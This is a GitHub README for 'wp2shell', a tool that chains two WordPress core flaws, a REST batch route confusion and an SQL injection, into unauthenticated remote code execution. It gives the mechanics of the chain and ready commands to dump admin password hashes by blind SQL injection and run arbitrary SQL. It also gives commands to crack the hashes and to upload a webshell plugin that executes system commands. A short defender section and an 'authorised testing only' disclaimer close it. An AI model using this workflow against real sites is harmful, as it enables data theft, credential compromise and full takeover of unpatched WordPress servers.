wp2shell by: ek0ms savi0r

July 19, 2026 · View on GitHub

Unauthenticated Remote Code Execution for WordPress Core POC (CVE-2026-63030 + CVE-2026-60137)

wp2shell exploit for a critical vulnerability chain in WordPress core. It chains a REST API batch route confusion bug with an SQL injection in WP_Query to achieve unauthenticated remote code execution on vulnerable WordPress installations.

DetailInfo
CVEsCVE-2026-63030 (REST batch route confusion) + CVE-2026-60137 (author__not_in SQLi)
AffectedWordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
Patched6.9.5, 7.0.2
Auth RequiredNone — unauthenticated
CVSSCritical (RCE chain)
Discovered ByAdam Kues (Assetnote / Searchlight Cyber)
DependenciesPython 3.8+ — standard library only

How It Works

The exploit chains two bugs in WordPress core:

  1. CVE-2026-60137 — SQL Injection – When author__not_in is passed as a string instead of an array, WordPress skips the is_array() sanitisation guard and interpolates the raw value into a NOT IN (...) SQL clause.

  2. CVE-2026-63030 — Batch Route Confusion – The /wp-json/batch/v1 endpoint builds parallel $matches and $validation arrays. A malformed sub-request is appended to $validation but not $matches, causing a +1 index shift. Sub-request i gets dispatched with sub-request i+1's handler.

Chained together: A POST /wp/v2/posts request carrying an inner GET /wp/v2/users request with an author_exclude string bypasses both the method allow-list and input sanitisation. The string reaches WP_Query as author__not_in and gets interpolated into SQL — giving you unauthenticated blind SQL injection.

From there, the tool can:

  • Extract the administrator password hash
  • Authenticate as admin (once the hash is cracked)
  • Upload a malicious plugin
  • Execute arbitrary system commands

Features

FeatureDescription
Vulnerability CheckSafe time-delay probe — reads no data, changes nothing
Data ExtractionBlind SQL injection with binary-search optimisation for efficient extraction
User Hash DumpExtract user_login and user_pass hashes from wp_users
Remote Code ExecutionAuthenticate as admin, upload a webshell plugin, execute commands
Interactive ShellPersistent command execution session
Colour OutputClear visual feedback for scan results
No DependenciesUses only Python's standard library

Installation

git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py

That's it. No third-party packages required.


Usage

./wp2shell.py <url> [command] [options]

Interactive Mode (Menu-Driven)

./wp2shell.py http://target.com

Launches an interactive menu with all functionality available via numbered options.

Commands

check — Confirm Vulnerability (Safe)

Performs a time-delay probe to confirm exploitability. Reads no data and changes nothing.

./wp2shell.py http://target.com check

read — Extract Data (Blind SQL Injection)

Extracts information from the database using time-based blind SQL injection.

# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read

# Extract user logins and password hashes
./wp2shell.py http://target.com read --users

# Extract database name
./wp2shell.py http://target.com read --database

# Extract MySQL version
./wp2shell.py http://target.com read --version

# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"

shell — Remote Code Execution

Requires valid administrator credentials. The SQL injection can recover the password hash, but you must supply the recovered plaintext password.

# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"

# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami

Options

OptionDescription
--usersExtract user_login and user_pass from wp_users
--databaseExtract the current database name
--versionExtract the MySQL version
--query "SQL"Execute a custom SQL query (blind extraction)
--user USERAdmin username for RCE
--password PASSAdmin password for RCE (plaintext, recovered via SQLi)
--cmd CMDCommand to execute via the webshell

Example Workflow

# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check

# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users

# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt

# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"

Affected Versions

BranchAffectedFixed
6.9.x6.9.0 – 6.9.46.9.5
7.0.x7.0.0 – 7.0.17.0.2
6.8.x6.8.0 – 6.8.5 (SQLi only, no RCE)6.8.6

Versions before 6.9.0 are not affected by the full RCE chain.


Detection & Mitigation

For Defenders:

  • Update to 6.9.5, 7.0.2, or later immediately
  • Cloudflare WAF customers are automatically protected
  • Wordfence customers have firewall rules
  • Monitor for POST /wp-json/batch/v1 requests with nested requests bodies
  • A 404 on the batch route doesn't always mean "patched" — it can also mean a WAF/CDN is blocking anonymous REST API access

This tool is for educational and authorised security testing purposes only.


Credits

  • Discovery: Adam Kues (Assetnote / Searchlight Cyber)
  • CVE-2026-60137 (SQLi): TF1T, dtro, haongo
  • CVE-2026-63030 (Batch route confusion): Adam Kues

For more details on the vulnerability, see the Searchlight Cyber research blog.